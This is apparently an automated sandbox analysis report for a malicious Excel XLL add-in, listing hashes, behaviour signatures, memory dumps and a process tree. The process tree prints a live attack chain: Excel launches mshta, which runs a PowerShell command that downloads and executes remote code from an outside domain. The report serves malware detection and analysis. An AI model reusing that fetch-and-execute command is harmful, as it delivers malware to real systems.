Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 19:11

General

  • Target

    61ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69.xll

  • Size

    12KB

  • MD5

    a4afc2a894f765f03c95152f7af21246

  • SHA1

    a034dc3bf870351aa92f28ab728ff7fff77ecc07

  • SHA256

    61ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69

  • SHA512

    10065421dc4e8e2ae35e147c859765d76ee9aacd77bd7c2c1db888c7d99a42955b26f4f38d6e7de5048c3345dcd7518a77542363ffd3fa4e1183f96cb9091e6d

  • SSDEEP

    192:sL29RBzDzeobchBj8JON8ONcEJrutrEPEjr7Ahf:C29jnbcvYJOJHutvr7Cf

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\61ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5036
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:944
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3448

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\UZDCDJW4\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\61ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69.xll

    Filesize

    12KB

    MD5

    a4afc2a894f765f03c95152f7af21246

    SHA1

    a034dc3bf870351aa92f28ab728ff7fff77ecc07

    SHA256

    61ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69

    SHA512

    10065421dc4e8e2ae35e147c859765d76ee9aacd77bd7c2c1db888c7d99a42955b26f4f38d6e7de5048c3345dcd7518a77542363ffd3fa4e1183f96cb9091e6d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0c143ah1.ton.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3448-57-0x0000000006460000-0x00000000064AC000-memory.dmp

    Filesize

    304KB

  • memory/3448-56-0x0000000006430000-0x000000000644E000-memory.dmp

    Filesize

    120KB

  • memory/3448-55-0x0000000005F50000-0x00000000062A7000-memory.dmp

    Filesize

    3.3MB

  • memory/3448-58-0x0000000007AB0000-0x000000000812A000-memory.dmp

    Filesize

    6.5MB

  • memory/3448-46-0x0000000005EE0000-0x0000000005F46000-memory.dmp

    Filesize

    408KB

  • memory/3448-45-0x0000000005C80000-0x0000000005CE6000-memory.dmp

    Filesize

    408KB

  • memory/3448-44-0x0000000005550000-0x0000000005572000-memory.dmp

    Filesize

    136KB

  • memory/3448-43-0x00000000055E0000-0x0000000005C0A000-memory.dmp

    Filesize

    6.2MB

  • memory/3448-42-0x0000000004F70000-0x0000000004FA6000-memory.dmp

    Filesize

    216KB

  • memory/3448-59-0x0000000006940000-0x000000000695A000-memory.dmp

    Filesize

    104KB

  • memory/5036-11-0x00007FFDDE190000-0x00007FFDDE1A0000-memory.dmp

    Filesize

    64KB

  • memory/5036-9-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-17-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-19-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-18-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-20-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-14-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-12-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-15-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-13-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-6-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-0-0x00007FFDE03B0000-0x00007FFDE03C0000-memory.dmp

    Filesize

    64KB

  • memory/5036-7-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-16-0x00007FFDDE190000-0x00007FFDDE1A0000-memory.dmp

    Filesize

    64KB

  • memory/5036-10-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-8-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-5-0x00007FFE203C3000-0x00007FFE203C4000-memory.dmp

    Filesize

    4KB

  • memory/5036-4-0x00007FFDE03B0000-0x00007FFDE03C0000-memory.dmp

    Filesize

    64KB

  • memory/5036-3-0x00007FFDE03B0000-0x00007FFDE03C0000-memory.dmp

    Filesize

    64KB

  • memory/5036-1-0x00007FFDE03B0000-0x00007FFDE03C0000-memory.dmp

    Filesize

    64KB

  • memory/5036-2-0x00007FFDE03B0000-0x00007FFDE03C0000-memory.dmp

    Filesize

    64KB

  • memory/5036-66-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB

  • memory/5036-82-0x00007FFDE03B0000-0x00007FFDE03C0000-memory.dmp

    Filesize

    64KB

  • memory/5036-83-0x00007FFDE03B0000-0x00007FFDE03C0000-memory.dmp

    Filesize

    64KB

  • memory/5036-85-0x00007FFDE03B0000-0x00007FFDE03C0000-memory.dmp

    Filesize

    64KB

  • memory/5036-84-0x00007FFDE03B0000-0x00007FFDE03C0000-memory.dmp

    Filesize

    64KB

  • memory/5036-86-0x00007FFE20320000-0x00007FFE20529000-memory.dmp

    Filesize

    2.0MB